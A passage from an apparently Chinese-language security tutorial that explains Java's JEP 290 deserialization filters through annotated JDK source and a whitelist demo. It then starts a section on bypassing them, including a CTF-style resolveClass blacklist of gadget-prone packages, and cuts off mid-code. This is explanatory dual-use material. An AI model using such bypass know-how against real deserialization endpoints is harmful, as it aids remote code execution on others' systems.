// 若对象有效、未记录异常、该层声明了 readObjectNoData(),则调用之以处理兼容初始化
if (obj != null &&
slotDesc.hasReadObjectNoDataMethod() &&
handles.lookupException(passHandle) == null)
{
slotDesc.invokeReadObjectNoData(obj);
}
}
}
}

反序列化检测与绕过

JEP290

JEP 290 是 Java 中非常重要的一个安全增强提案,主要用于 增强 Java 反序列化的安全性控制。它在 Java 9 中引入,核心思想是 为反序列化过程增加“白名单”机制,防止反序列化任意类造成的远程代码执行(RCE)等安全问题。

JEP 290: Filter Incoming Serialization Data

JEP 290:过滤传入的序列化数据

Allow incoming streams of object-serialization data to be filtered in order to improve both security and robustness.

允许对传入的对象序列化数据流进行过滤,以提升安全性与健壮性。

虽然这个提案是在 Java9 提出的,但在 JDK6、7、8 的高版本中也引入了这个机制(JDK8u121、JDK7u131、JDK6u141)。

根据官方的描述,核心机制在于一个可以被用户实现的 filter 接口,作为 ObjectInputStream 的一个属性,反序列化时会触发接口的方法,对序列化类进行合法性检查。每个对象在被实例化和反序列化之前,过滤器都会被调用,除去 Java 的基本类型和 java.lang.String(若过滤器未设置,默认使用全局过滤器)。此外,针对 RMI,用于导出远程对象的 UnicastServerRef 中的 MarshalInputStream 也设置了过滤器,用于验证方法参数的合法性。

检测原理

原生反序列化的入口在 ObjectInputStream#readObject,在这里设置过滤器再合适不过。JEP 290 在 ObjectInputStream 类中增加了一个 serialFilter 属性和一个 filterCheck 方法。

全局默认过滤器

初始化 serialFilter

ObjectInputStream 的构造方法初始化了 serialFilter

1
2
3
4
5
6
7
8
9
10
11
/**
* Filter of class descriptors and classes read from the stream;
* may be null.
*/
private ObjectInputFilter serialFilter;

public ObjectInputStream(InputStream in) throws IOException {
// [...]
serialFilter = ObjectInputFilter.Config.getSerialFilter();
// [...]
}

Configsun.misc.ObjectInputFilter 这个接口的一个静态内部类,getSerialFilter 返回 Config 的静态字段 serialFilter

1
2
3
4
5
6
7
8
9
10
11
12
13
/**
* 返回进程范围(全局)的序列化过滤器;如果尚未配置,则返回 {@code null}。
*
* <p>说明:方法在 {@code serialFilterLock} 上同步,以确保在多线程环境下
* 对全局过滤器读取的可见性与一致性。</p>
*
* @return 全局序列化过滤器;若未配置则为 {@code null}
*/
public static ObjectInputFilter getSerialFilter() {
synchronized (serialFilterLock) { // 加锁读取,保证并发场景下的可见性
return serialFilter; // 可能为 null(未通过属性/配置/代码设置)
}
}

这个静态字段在 Config 的静态代码块中进行初始化。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
/**
* 进程范围(全局)的反序列化过滤器属性名。
* 既可作为系统属性(System Property),也可作为 java.security.Security 的安全属性使用。
* 实际读取顺序见下方静态代码块:优先读取系统属性,其次读取安全属性。
*/
private final static String SERIAL_FILTER_PROPNAME = "jdk.serialFilter";

/**
* 启动期解析得到的“已配置的”全局过滤器;可能为 null。
* 实际来源:先查系统属性,再查安全属性;若两者皆无或解析失败,则为 null。
*/
private final static ObjectInputFilter configuredFilter;

static {
// 以特权方式读取系统/安全属性(在启用 SecurityManager 的历史场景下需要此调用)。
configuredFilter = AccessController
.doPrivileged((PrivilegedAction<ObjectInputFilter>) () -> {
// 1) 优先从系统属性读取 jdk.serialFilter
String props = System.getProperty(SERIAL_FILTER_PROPNAME);
if (props == null) {
// 2) 若系统属性未设置,则退回到安全属性(conf/security/java.security)
props = Security.getProperty(SERIAL_FILTER_PROPNAME);
}
if (props != null) {
// 创建日志记录器(JDK 内建 System.Logger,通道:java.io.serialization)
System.Logger log =
System.getLogger("java.io.serialization");
// 记录将从何处的配置字符串创建过滤器({0} 为占位符)
log.log(System.Logger.Level.INFO,
"Creating serialization filter from {0}", props);
try {
// 解析并构造过滤器实例(支持 ! 前缀、包/模块匹配、以及 maxdepth 等限制项)
return createFilter(props);
} catch (RuntimeException re) {
// 解析失败时记录错误,并回退为 null(表示不启用全局过滤器)
log.log(System.Logger.Level.ERROR,
"Error configuring filter: {0}", re);
}
}
// 未配置或解析失败:不启用全局过滤器
return null;
});

// 若确有已配置过滤器,则准备一个日志器供后续配置相关日志使用;否则置空。
// (configLog 字段应在类中其他位置定义)
configLog = (configuredFilter != null) ? System.getLogger("java.io.serialization") : null;
}

/**
* “当前生效”的全局过滤器。
* 初始值为启动期解析得到的 configuredFilter;
* 之后可能被 API(例如 ObjectInputFilter.Config#setSerialFilter)在运行时动态更新。
*/
private static ObjectInputFilter serialFilter = configuredFilter;

这段代码的逻辑是先 System.getProperty("jdk.serialFilter"),再 Security.getProperty("jdk.serialFilter");前者存在则覆盖后者。因为默认情况下两者皆为空因此全局过滤器默认为 null

若有设置这两个全局属性,才会调用 createFilter 函数根据 jdk.serialFilter 属性预先设置的字符串构造序列化过滤器 serialFilter

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
/**
* 从一串“模式(pattern)”文本创建一个 ObjectInputFilter。
*
* <p>多个模式用分号(;)分隔。⚠ 注意:空白字符是“有意义”的,它属于模式的一部分,
* 不是自动忽略的空格。
*
* <p>如果某个模式是“name=value”的赋值形式(即包含等号 =),表示设置一个“限制项(limit)”。
* 同一限制项出现多次时,以最后一次为准。支持的限制项有:
* - maxdepth=value :反序列化对象图允许的最大深度
* - maxrefs=value :已读取对象/引用的最大数量
* - maxbytes=value :输入流允许的最大字节数
* - maxarray=value :允许的最大数组长度
*
* <p>其他非赋值形式的模式用于“类/包名匹配”,匹配对象是 Class.getName() 的结果,
* 如果带可选的“模块名”,则还要与 class.getModule().getName() 进行匹配。
* 注意:数组类型按“元素类型”进行匹配,而不是按“数组类型”本身匹配;
* 任意维度的数组都视为它的元素类型来匹配。
*
* <ul>
* <li>以 "!" 开头:当后续模式能匹配到类名时,判定为“拒绝”;否则(不以 "!" 开头),
* 只要能匹配到就“允许”。(首个命中的模式决定结果)
* <li>包含 "/":则 "/" 之前的非空前缀视为“模块名”,先匹配模块名,再用 "/" 之后的部分
* 去匹配类名;如果不含 "/",则不比较模块名。
* <li>以 ".**" 结尾:匹配某包及其所有子包中的任意类。
* <li>以 ".*" 结尾:匹配某包下(不含子包)的任意类。
* <li>以 "*" 结尾:按前缀匹配任意类名(前缀可以是完整类名的一部分)。
* <li>完全等于类名:精确匹配该类。
* <li>其他情况:不匹配。
* </ul>
*
* <p>生成的过滤器会先做“限制项”检查(深度/引用数/字节数/数组长度等),只要超限就返回 REJECTED。
* 若未超限,再按“类匹配规则”从左到右尝试匹配(数组按元素类型匹配)。
* 例如模式 "!example.Foo" 将拒绝创建 example.Foo 以及任何维度的 Foo[]。
* 首个匹配成功的模式决定结果:命中允许则 ALLOWED,命中拒绝则 REJECTED。
* 若不超限且没有任何模式匹配类名,则返回 UNDECIDED。
*
* @param pattern 非 null 的模式字符串
* @return 用于检查反序列化类的过滤器;如果解析后没有任何有效模式,则返回 null
* @throws IllegalArgumentException 当模式不合法或无法解析时抛出,例如:
* <ul>
* <li>限制项缺少名称,或名称不是 "maxdepth"/"maxrefs"/"maxbytes"/"maxarray"
* <li>限制项的 value 不能被 Long.parseLong 解析,或为负数
* <li>包含 "/" 但缺少模块名或 "/" 之后的类名模式为空
* <li>" .* " 或 " .** " 缺少前面的包名(如单独写成 ".*" 或 ".**")
* </ul>
*/
public static ObjectInputFilter createFilter(String pattern) {
Objects.requireNonNull(pattern, "pattern");
return Global.createFilter(pattern);
}

字符串的语法规则为:

  • 由分号 ; 分隔的多段规则组成,空格算内容。形式如:rule1;rule2;rule3

  • 两类子规则:

    • 限制项(limit)maxdepth=… / maxrefs=… / maxbytes=… / maxarray=…,例如 maxdepth=64;maxrefs=10000;maxbytes=1048576;maxarray=100000

    • 类/包匹配 :可写模块前缀、包/类名和通配符,前面加 ! 表示拒绝。

      • 模块 + 类:java.base/java.lang.*

      • 包及子包:com.acme.**

      • 仅当前包:com.acme.*

      • 类名前缀:com.acme.Foo*

      • 精确类:com.acme.Foo

      • 拒绝:前缀 !,如 !org.apache.commons.collections.**

  • 先检查限制项(超限直接 REJECTED),再按顺序匹配类(命中第一条就决定 ALLOWED/REJECTED;都不命中 → UNDECIDED)。

  • 数组按元素类型匹配(拒 com.evil.Foo 也会拒 Foo[]/Foo[][])。

Config.createFilter 实际调用的是 Global#createFilter 静态方法,内部实际上是实例化并返回了一个 Global 对象。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
/**
* 从一段“pattern 规则字符串”创建 ObjectInputFilter。
*
* @param pattern 要解析的规则字符串(分号 ; 分隔多段)
* @return 用于检查反序列化类的过滤器;如果没有任何非空规则,返回 {@code null}
* @throws IllegalArgumentException 参数格式不合法时抛出:
* 例如限制项缺名字、值不是 long、或为负数等
*/
static ObjectInputFilter createFilter(String pattern) {
try {
// 解析并封装成 Global(实现了 ObjectInputFilter 的逻辑)
return new Global(pattern);
} catch (UnsupportedOperationException uoe) {
// 没有任何“非空”的规则段时,按约定返回 null
return null;
}
}

Global 本身就实现了 ObjectInputFilter 接口。Global 的构造函数会解析我们传入的匹配规则 pattern,将规则解析成一个个 lambda 表达式,lambda 表达式会返回 ObjectInputFilter.Status。这些 lambda 表达式组保存在 filters 属性中。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
/**
* 基于 pattern 字符串构造过滤器。
*
* @param pattern 分号分隔的规则串
* @throws IllegalArgumentException 当规则格式不合法时
* @throws UnsupportedOperationException 当没有任何非空规则段(且也没有限制项)时
*/
private Global(String pattern) {
boolean hasLimits = false; // 是否设置过任一限制项(maxdepth/maxrefs/maxbytes/maxarray)
this.pattern = pattern;

// 四类资源限制的默认值:不限制(Long.MAX_VALUE)
maxArrayLength = Long.MAX_VALUE;
maxDepth = Long.MAX_VALUE;
maxReferences = Long.MAX_VALUE;
maxStreamBytes = Long.MAX_VALUE;

// 规则按照 ';' 切分逐段处理
String[] patterns = pattern.split(";");
filters = new ArrayList<>(patterns.length);
for (int i = 0; i < patterns.length; i++) {
String p = patterns[i];
int nameLen = p.length();
if (nameLen == 0) {
// 跳过空段(例如连续两个 ;;)
continue;
}

// 1) 尝试解析“限制项”(形如 maxdepth=..., maxrefs=... 等)
if (parseLimit(p)) {
// 命中限制项,已在 parseLimit 中更新相应的数值
hasLimits = true;
continue;
}

// 2) 非限制项:解析类/包/模块匹配规则
boolean negate = p.charAt(0) == '!'; // 前缀 '!' 表示否定(匹配即 REJECTED)
int poffset = negate ? 1 : 0; // 实际规则起始下标(跳过 '!')

// —— 可选的模块名前缀 —— 语法:<module>/<class-or-package-pattern>
int slash = p.indexOf('/', poffset);
if (slash == poffset) {
// 出现了 '/' 但模块名为空:非法
throw new IllegalArgumentException("module name is missing in: \"" + pattern + "\"");
}
final String moduleName = (slash >= 0) ? p.substring(poffset, slash) : null;
poffset = (slash >= 0) ? slash + 1 : poffset; // 规则主体移到 '/' 之后

final Function<Class<?>, Status> patternFilter;

// 3) 通配分支:以 '*' 结尾的三种情况
if (p.endsWith("*")) {
// 3.1 结尾为 ".*" :仅匹配“当前包”内的任意类(不含子包)
if (p.endsWith(".*")) {
final String pkg = p.substring(poffset, nameLen - 1); // 去掉尾部 '*'
if (pkg.length() < 2) {
// 要求至少像 "a." 这样,裸 ".*" 会视为缺少包名
throw new IllegalArgumentException("package missing in: \"" + pattern + "\"");
}
if (negate) {
// 命中则 REJECTED,未命中则 UNDECIDED
patternFilter = c -> matchesPackage(c, pkg) ? Status.REJECTED : Status.UNDECIDED;
} else {
// 命中则 ALLOWED,未命中则 UNDECIDED
patternFilter = c -> matchesPackage(c, pkg) ? Status.ALLOWED : Status.UNDECIDED;
}

// 3.2 结尾为 ".**" :匹配“包及所有子包”
} else if (p.endsWith(".**")) {
final String pkgs = p.substring(poffset, nameLen - 2); // 去掉尾部 "**"
if (pkgs.length() < 2) {
// 同理,必须存在明确的包前缀,裸 ".**" 非法
throw new IllegalArgumentException("package missing in: \"" + pattern + "\"");
}
if (negate) {
patternFilter = c -> c.getName().startsWith(pkgs) ? Status.REJECTED : Status.UNDECIDED;
} else {
patternFilter = c -> c.getName().startsWith(pkgs) ? Status.ALLOWED : Status.UNDECIDED;
}

// 3.3 其他以 '*' 结尾:按“类名字符串前缀”匹配
} else {
final String className = p.substring(poffset, nameLen - 1); // 去掉尾部 '*'
// 注意:className 为空字符串时,startsWith("") 恒为 true → 匹配任意类
if (negate) {
patternFilter = c -> c.getName().startsWith(className) ? Status.REJECTED : Status.UNDECIDED;
} else {
patternFilter = c -> c.getName().startsWith(className) ? Status.ALLOWED : Status.UNDECIDED;
}
}

} else {
// 4) 精确匹配:不以 '*' 结尾,则视为“完整类名”匹配
final String name = p.substring(poffset);
if (name.isEmpty()) {
// 既没有 '*',又没有具体类名/包名 → 非法
throw new IllegalArgumentException("class or package missing in: \"" + pattern + "\"");
}
if (negate) {
// 类名完全相等则 REJECTED,否则 UNDECIDED
patternFilter = c -> c.getName().equals(name) ? Status.REJECTED : Status.UNDECIDED;
} else {
// 类名完全相等则 ALLOWED,否则 UNDECIDED
patternFilter = c -> c.getName().equals(name) ? Status.ALLOWED : Status.UNDECIDED;
}
}

// 5) 若写了 moduleName,则把“模块名判定”与上面的类/包判定组合起来
if (moduleName == null) {
// 无模块前缀:直接按类/包规则判断
filters.add(patternFilter);
} else {
// 有模块前缀:模块名相等才继续应用类/包规则;否则 UNDECIDED
filters.add(c -> moduleName.equals(c.getModule().getName())
? patternFilter.apply(c)
: Status.UNDECIDED);
}
}

// 6) 如果既没有任何类/包规则(filters 为空),也没有设置任何限制项 → 视为“无非空规则”
if (filters.isEmpty() && !hasLimits) {
throw new UnsupportedOperationException("no non-empty patterns");
}
}
filterCheck 过滤函数

ObjectInputStream#filterCheck 会对类进行过滤。该函数逻辑为:

  • 判断 serialFilter 是否为空
  • 交给 serialFilter#checkInput 进行类检测
  • 若返回状态为 nullREJECTED,抛出 InvalidClassException 异常
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
/**
* 如果(流级)序列化过滤器不为 null,则调用之。
* 若过滤器拒绝,或在执行过程中抛出异常,则抛出 InvalidClassException。
*
* @param clazz 当前处理的类;可能为 null(例如处理已反序列化对象的引用时)
* @param arrayLength 请求的数组长度;若非创建数组请传 {@code -1}
* @throws InvalidClassException 当被过滤器拒绝、过滤器返回 null,或过滤器抛出 RuntimeException 时抛出
*/
private void filterCheck(Class<?> clazz, int arrayLength)
throws InvalidClassException {
if (serialFilter != null) {
RuntimeException ex = null; // 缓存过滤器抛出的异常,用作后续 cause
ObjectInputFilter.Status status;
try {
// 组装当前反序列化场景的度量信息并调用过滤器:
// - clazz:当前类(数组则为数组类型;引用场景为 null)
// - arrayLength:数组长度;非数组为 -1
// - totalObjectRefs:已从流中读取的对象/引用累计数
// - depth:readObject/readUnshared 的嵌套深度
// - bin.getBytesRead():自输入流已消费的字节数(实现相关)
status = serialFilter.checkInput(new FilterValues(
clazz, arrayLength, totalObjectRefs, depth, bin.getBytesRead()));
} catch (RuntimeException e) {
// 预先拦截过滤器内部抛出的运行时异常:将状态视为 REJECTED,并记录异常用于日志/封装
status = ObjectInputFilter.Status.REJECTED;
ex = e;
}

if (Logging.filterLogger != null) {
// 失败(null 或 REJECTED)打 DEBUG,成功则打 TRACE,便于排查/追踪
Logging.filterLogger.log(
status == null || status == ObjectInputFilter.Status.REJECTED
? Logger.Level.DEBUG
: Logger.Level.TRACE,
"ObjectInputFilter {0}: {1}, array length: {2}, nRefs: {3}, depth: {4}, bytes: {5}, ex: {6}",
status, clazz, arrayLength, totalObjectRefs, depth, bin.getBytesRead(),
Objects.toString(ex, "n/a"));
}

// 若过滤器返回 null 或明确拒绝,则抛出 InvalidClassException,并附带原始异常作为 cause
if (status == null || status == ObjectInputFilter.Status.REJECTED) {
InvalidClassException ice = new InvalidClassException("filter status: " + status);
ice.initCause(ex);
throw ice;
}
// 其他状态(如 ALLOWED/UNDECIDED)则允许继续反序列化
}
}

serialFilter#checkInput 的参数是一个 FilterValues 对象(这个类实现了 ObjectInputFilter.FilterInfo 接口)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
/**
* 向 ObjectInputFilter 传递的一组“快照”参数。
* <p>实现 {@link ObjectInputFilter.FilterInfo},封装当前反序列化点的度量信息:
* <ul>
* <li><b>clazz</b>:当前处理的类;处理“已反序列化对象的引用”时可为 {@code null}。</li>
* <li><b>arrayLength</b>:数组长度;若非数组则为 {@code -1}。</li>
* <li><b>totalObjectRefs</b>:自流开始以来,已读取的对象与引用的累计数量(含当前)。</li>
* <li><b>depth</b>:{@code readObject/readUnshared} 的嵌套深度(通常从 1 开始)。</li>
* <li><b>streamBytes</b>:自输入流已消费的字节数(实现相关,近似值)。</li>
* </ul>
* 所有字段均为 {@code final},对象不可变,便于在并发/日志场景安全使用。
*/
static class FilterValues implements ObjectInputFilter.FilterInfo {
/** 当前处理的类;数组时为数组类型;仅引用检查时可能为 {@code null}。 */
final Class<?> clazz;
/** 请求创建的数组长度;非数组时为 {@code -1}。 */
final long arrayLength;
/** 已从流中读取的对象与引用总数(包含当前即将读取的对象/引用)。 */
final long totalObjectRefs;
/** 当前反序列化调用的嵌套深度。 */
final long depth;
/** 自输入流开始已读取(消费)的字节数(实现相关)。 */
final long streamBytes;

/**
* 使用当前反序列化上下文的度量信息构造快照。
*
* @param clazz 当前类;可为 {@code null}
* @param arrayLength 数组长度;非数组传 {@code -1}
* @param totalObjectRefs 已读取的对象/引用累计数
* @param depth 嵌套深度
* @param streamBytes 已消费字节数
*/
public FilterValues(Class<?> clazz, long arrayLength, long totalObjectRefs,
long depth, long streamBytes) {
this.clazz = clazz;
this.arrayLength = arrayLength;
this.totalObjectRefs = totalObjectRefs;
this.depth = depth;
this.streamBytes = streamBytes;
}

// [...]
}

前面分析过 serialFilter 实际上是实现 ObjectInputFilter 接口的 Global 类实例化的对象,因此 serialFilter.checkInput 调用的是 Global#checkInput 函数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
/**
* 过滤器核心:每读到一个“待创建对象或其片段”,就回调一次。
*
* 判定顺序严格如下:
* ① 先做“资源计数/上限”检查:refs/depth/bytes 任一 <0(非法)或超上限 → REJECTED
* ② 若有关联类:
* - 若是数组:可知长度且超 maxArrayLength → REJECTED;然后把多维数组“降维”到元素类型
* - 若是原始类型(primitive):不决(UNDECIDED)
* - 其他引用类型:按 filters 顺序找首个给出明确结论(ALLOWED/REJECTED)的规则
* ③ 若无类信息(如写入了特殊标记而非对象):UNDECIDED
*
* 返回值只代表“本过滤器”的意见;上层会与“全局过滤器”等做合并:
* - 任一返回 REJECTED → 立刻拒绝
* - 否则若任一返回 ALLOWED → 放行
* - 否则(都 UNDECIDED)→ 由调用方的默认策略继续(通常继续读取)
*/
@Override
public Status checkInput(FilterInfo filterInfo) {
// —— ① 资源计数/上限的硬性检查(先于类型匹配) ——
if (filterInfo.references() < 0
|| filterInfo.depth() < 0
|| filterInfo.streamBytes() < 0
|| filterInfo.references() > maxReferences
|| filterInfo.depth() > maxDepth
|| filterInfo.streamBytes() > maxStreamBytes) {
// 任何“非法值”(<0) 或“超限”(>max*)都立即判为 REJECTED
return Status.REJECTED;
}

// 待反序列化的“当前类”。某些片段(如 TC_NULL、块数据)没有类信息,会返回 null。
Class<?> clazz = filterInfo.serialClass();
if (clazz != null) {
// —— ②a 数组:先做长度限制,再把(可能是多维的)数组降维到最终的“元素类型” ——
if (clazz.isArray()) {
// arrayLength < 0 表示“未知长度/不可得”,这种情况下不做长度上限判断
if (filterInfo.arrayLength() >= 0 && filterInfo.arrayLength() > maxArrayLength) {
return Status.REJECTED; // 数组过大,直接拒绝
}
// 逐层 getComponentType(),直到拿到最内层元素类型(e.g., Foo[][] -> Foo)
do {
clazz = clazz.getComponentType();
} while (clazz.isArray());
}

// —— ②b 原始类型:不参与“类匹配”,交给其他过滤器或默认策略 ——
if (clazz.isPrimitive()) {
return Status.UNDECIDED;
} else {
// —— ②c 引用类型:按定义顺序应用各条规则(filters 内是 Function<Class<?>, Status>)
final Class<?> cl = clazz; // for lambda 捕获(必须是 effectively final)
Optional<Status> status = filters.stream()
.map(f -> f.apply(cl)) // 套用单条模式
.filter(p -> p != Status.UNDECIDED) // 仅保留“明确结论”
.findFirst(); // 自左向右取第一条命中
// 若没有任何规则命中,则本过滤器不作决定
return status.orElse(Status.UNDECIDED);
}
}

// —— ③ 没有类信息的片段:本过滤器不作决定 ——
return Status.UNDECIDED;
}

自定义过滤器

前面通过设置全局属性 jdk.serialFilter,创建的是全局过滤器,因为 ObjectInputFilter.Config 类初始化,Global 这个过滤器被创建并赋值给 Config.serialFilter,每次创建 ObjectInputStream 对象都是去拿 ConfigserialFilter 属性。

局部自定义过滤器

若想设置局部自定义过滤器,可以调用 ObjectInputStream#setInternalObjectInputFilter,传入自定义的 ObjectInputFilter(JDK9 及以上是 setObjectInputFilter,相应的也有 getObjectInputFilter 用于获取过滤器)。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
/**
* 为当前输入流设置反序列化过滤器。
* 过滤器的 {@link ObjectInputFilter#checkInput checkInput} 方法会在反序列化过程中
* 针对流里的每个“类信息”和“对象引用”被调用。过滤器可以检查:要反序列化的类、
* 数组长度、引用计数、对象图深度,以及输入流已消费的字节数等度量。
* “深度”指自图根对象开始、到当前正在反序列化对象为止所产生的
* 嵌套 {@linkplain #readObject readObject} 调用层数。
* “引用计数”是已从流中读取的对象与对象引用的累计数量(含当前要读取的对象)。
* 仅在从流中“读取对象”时才会触发过滤器;原始类型不触发。
*
* <p>若过滤器返回 {@link ObjectInputFilter.Status#REJECTED Status.REJECTED}、
* 返回 {@code null},或在执行中抛出 {@link RuntimeException},
* 则正在运行的 {@code readObject} 或 {@code readUnshared}
* 将抛出 {@link InvalidClassException};否则反序列化将继续进行。</p>
*
* <p>该流的序列化过滤器在构造 {@code ObjectInputStream} 时,会被初始化为
* {@link ObjectInputFilter.Config#getSerialFilter() ObjectInputFilter.Config.getSerialFilter}
* 的返回值;之后只能“自定义设置”一次。</p>
*
* @implSpec
* 当过滤器不为 {@code null} 时,将在 {@link #readObject readObject} 与
* {@link #readUnshared readUnshared} 的过程中,对流中的每个对象(包括普通类或类对象)
* 调用过滤器。字符串按原始类型对待,因此不会触发过滤器。
* 过滤器会在以下情形被调用:
* <ul>
* <li>对流中“先前已反序列化”的每个对象引用(此时 class 为 {@code null},arrayLength 为 -1);</li>
* <li>对每个普通类对象(class 非 {@code null},arrayLength 为 -1);</li>
* <li>对每个动态代理的接口以及动态代理类本身(class 非 {@code null},arrayLength 为 -1);</li>
* <li>对每个数组,使用数组的类型与请求的长度进行过滤(class 为数组类型,arrayLength 为请求长度);</li>
* <li>对被其类的 {@code readResolve} 方法替换的对象:使用“替换后对象”的类进行过滤;
* 若替换后为数组,则同时提供 arrayLength,否则为 -1;</li>
* <li>对被 {@link #resolveObject resolveObject} 替换的对象:同上,使用“替换后对象”的类,
* 若为数组则提供 arrayLength,否则为 -1。</li>
* </ul>
*
* 当调用 {@link ObjectInputFilter#checkInput checkInput} 时,可获取:
* 当前类、数组长度、已从流中读取的引用计数、嵌套的 {@link #readObject readObject} /
* {@link #readUnshared readUnshared} 调用深度,以及实现相关的“自输入流已读取字节数”。
*
* <p>每次进入 {@link #readObject readObject} 或 {@link #readUnshared readUnshared},
* 在读取对象之前“深度 +1”,在正常或异常返回前“深度 -1”。深度从 {@code 1} 开始,
* 每遇到嵌套对象递增,嵌套返回时递减。引用计数从 {@code 1} 开始,并在读取对象前增加。</p>
*
* @param filter 要设置的过滤器;可为 {@code null}
* @throws SecurityException 当存在 SecurityManager 且未授予
* {@code SerializablePermission("serialFilter")} 权限时抛出
* @throws IllegalStateException 当当前({@linkplain #getObjectInputFilter() 已存在的})过滤器
* 不是进程范围(全局)过滤器,因而不允许再次设置时抛出
* @since 9
*/
public final void setObjectInputFilter(ObjectInputFilter filter) {
SecurityManager sm = System.getSecurityManager();
if (sm != null) {
// 需要具备 "serialFilter" 权限,否则抛出 SecurityException
sm.checkPermission(ObjectStreamConstants.SERIAL_FILTER_PERMISSION);
}
// 仅允许“设置一次”:
// 若当前已存在一个“非全局”的过滤器(即既不为 null,也不等于进程范围过滤器),则禁止再次设置。
// 允许的情况:当前为 null(从未设置),或当前等于进程范围过滤器(允许用自定义过滤器替换一次)。
if (serialFilter != null &&
serialFilter != ObjectInputFilter.Config.getSerialFilter()) {
throw new IllegalStateException("filter can not be set more than once");
}
// 设置(或清空)当前流的过滤器;设为 null 表示恢复使用全局过滤器(若存在)或不使用过滤。
this.serialFilter = filter;
}

例如下面这个例子通过 ObjectInputStream#setObjectInputFilter 设置由 ObjectInputFilter$Config#createFilter 创建的过滤器阻止反序列化。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
import java.io.*;
import java.util.*;

public class Jep290FilterDemo {

// 规则:先设资源上限,再白名单(仅放行 java.base 模块 & 你的业务包),最后兜底拒绝
// - 允许:java.base/*(java.lang/java.util…)
// - 允许:com.myapp.**(你自己的包)
// - 其余:!*(全部拒绝)
static final String RULE =
"maxdepth=64;maxrefs=10000;maxbytes=1048576;java.base/*;com.myapp.**;!*";

public static void main(String[] args) throws Exception {
ObjectInputFilter filter = ObjectInputFilter.Config.createFilter(RULE);

// ✅ 允许的对象:ArrayList<String>(在 java.base 模块里)
byte[] ok = serialize(new ArrayList<>(Arrays.asList("a", "b")));
System.out.println("Allowed -> " + deserialize(ok, filter));

// ❌ 被拒绝的对象:java.awt.Point(在 java.desktop 模块,不在白名单)
byte[] bad = serialize(new java.awt.Point(1, 2));
try {
Object o = deserialize(bad, filter);
System.out.println("Unexpected: " + o);
} catch (InvalidClassException e) {
System.out.println("Rejected as expected: " + e.getMessage());
}
}

static byte[] serialize(Serializable obj) throws Exception {
ByteArrayOutputStream bos = new ByteArrayOutputStream();
try (ObjectOutputStream oos = new ObjectOutputStream(bos)) {
oos.writeObject(obj);
}
return bos.toByteArray();
}

static Object deserialize(byte[] buf, ObjectInputFilter f) throws Exception {
try (ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(buf))) {
ois.setObjectInputFilter(f); // ⬅️ 关键:给这个流加过滤器
return ois.readObject(); // REJECTED 会抛 InvalidClassException
}
}
}
全局自定义过滤器

全局自定义过滤器可以通过 Config#setSerialFilter 设置,但是为了安全起见只能设置一次。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
/**
* 设置“进程级(全局)”的反序列化过滤器(仅能设置一次)。
*
* @param filter 要设置为“进程范围内”的序列化过滤器;不可为 null
* @throws SecurityException 若存在 SecurityManager 且未授予
* {@code new SerializablePermission("serialFilter")} 权限
* @throws IllegalStateException 若全局过滤器此前已被设置为非 null(只能设置一次)
*/
public static void setSerialFilter(ObjectInputFilter filter) {
Objects.requireNonNull(filter, "filter"); // 过滤器不能为空

// 如启用了 SecurityManager,需具备设置全局过滤器的专用权限
SecurityManager sm = System.getSecurityManager();
if (sm != null) {
sm.checkPermission(ObjectStreamConstants.SERIAL_FILTER_PERMISSION);
// 等价于:sm.checkPermission(new SerializablePermission("serialFilter"))
}

// 使用专用锁对象保证并发安全,只允许首次成功设置
synchronized (serialFilterLock) {
if (serialFilter != null) {
// 一旦非空就视为已经设置过,后续再次设置一律非法
throw new IllegalStateException("Serial filter can only be set once");
}
// 首次设置成功:将给整个进程内后续的反序列化使用(与每个流上的局部过滤器共同生效)
serialFilter = filter;
}
}

绕过思路

由于 JEP290 的过滤器默认为空,因此通常对我们反序列造不成什么影响。主要影响还是在 RMI 相关利用上。

重写 resolveClass

检测原理

很多 java 题目会创建一个类继承 ObjectInputStream,并重写其 resolveClass 方法,在里面添加对反序列化类黑名单的校验。比如下面这个:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
public class MyObjectInputStream extends ObjectInputStream {

private static final String[] blacklist = new String[]{
"java\\.security.*", "java\\.rmi.*", "com\\.fasterxml.*", "com\\.ctf\\.*",
"org\\.springframework.*", "org\\.yaml.*", "javax\\.management\\.remote.*"
};

public MyObjectInputStream(InputStream inputStream) throws IOException {
super(inputStream);
}

protected Class resolveClass(ObjectStreamClass cls) throws IOException, ClassNotFoundException {
if(!contains(cls.getName())) {
return super.resolveClass(cls);
} else {
